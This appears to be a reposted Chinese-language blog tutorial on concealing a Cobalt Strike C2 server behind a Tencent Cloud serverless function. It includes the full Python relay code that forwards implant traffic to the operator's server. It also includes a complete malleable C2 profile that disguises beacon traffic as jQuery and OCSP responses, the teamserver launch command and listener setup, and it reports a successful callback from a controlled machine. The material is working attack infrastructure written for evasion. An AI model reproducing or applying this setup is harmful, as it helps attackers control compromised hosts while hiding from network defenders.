云函式隱藏C2服務器 (有手就能配置)
0x01 前言
自己踩到的坑點主要就是
1、上線地址要去掉http://和:80
基于CS,隱藏C2服務器的手法有很多,常見如下:
- 域前置
- CDN
- 第三方代理軟體(heroku)
- 云函式
記錄一下利用騰訊云的云函式隱藏C2服務器,
壁畫不多說直接開始…
0x02環境配置
需要準備:
- 注冊騰訊云賬號
- vps一臺
- cs(我用的4.3)
1、登陸騰訊云控制臺,輸入云函式

2、新建函式服務

3、函式名稱隨意,選擇從頭開始,環境填Python3.6,選完后下拉,把代碼搞里頭,

4、打碼的地方填vps的地址(代碼在下面),填完點完成,后會彈出一個提示框點擊 留在此頁面
C2地址的地方少掉了一個單引號,當時測驗的時候也是一直不上線,最后排查的時候找到了,

- 云函式的Python代碼
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://<C2服務器地址>' # 這里可以使用 HTTP、HTTPS~下角標~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
5、點擊觸發管理,創建觸發器

6、配置如下,點擊提交

7、點擊api服務名

8、點擊編輯后到達此頁面,路徑修改為/ ,點擊下一步

9、配置如下 點擊完成 后點擊 發布服務

10、配置cs的profile檔案
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36";
https-certificate
{
set keystore "cobaltStrike.store"; //生成的cs證書名
set password "123456"; //自己設定的密碼
## Option 3) Cobalt Strike Self-Signed Certificate
set C "US";
set CN "jquery.com";
set O "jQuery";
set OU "Certificate Authority";
set validity "365";
}
http-get
{
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager
{
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server
{
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
11、開啟cs teamserver ./teamserver vpsip password c2.profile
12、上線地址 需要去掉http:// 和 :80
取service-miuk9icj-1309081727.bj.apigw.tencentcs.com

13、創建監聽

14、上線成功

可以看到上線的地址就是騰訊云,成功隱藏c2服務器,配置完后可以自己wireshark抓包看一下被控機器是否再跟騰訊云的ip地址通信,

0x03 總結
借鑒一下大佬的原理
- 云函式隱藏C2原理
馬 -> 騰訊云函式api -> py函式 -> CS服務端
CS馬被執行后,流量直接走向騰訊云的api(也就是這一步達成了隱藏C2服務端的目的,騰訊地址,有騰訊的CDN),然后py函式會根據傳入的流量作為中間人對CS服務端進行請求,并獲取回傳結果后回傳請求獲取的資料資訊(py代碼的請求內容和CS服務端加載的profile是相對應的,CS服務端根據py函式傳入的資料來獲取相關資訊)
0x04 help!!
之前嘗試域前置,用cloudflare的cdn做,只做成功HTTP的,隱藏自己的C2服務器,想做https的但最后就是不能上線,不知道為啥,有知道的大佬可以告訴我一下,謝謝謝謝!
參考文章:https://xz.aliyun.com/t/10764#toc-3
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/413253.html
標籤:其他
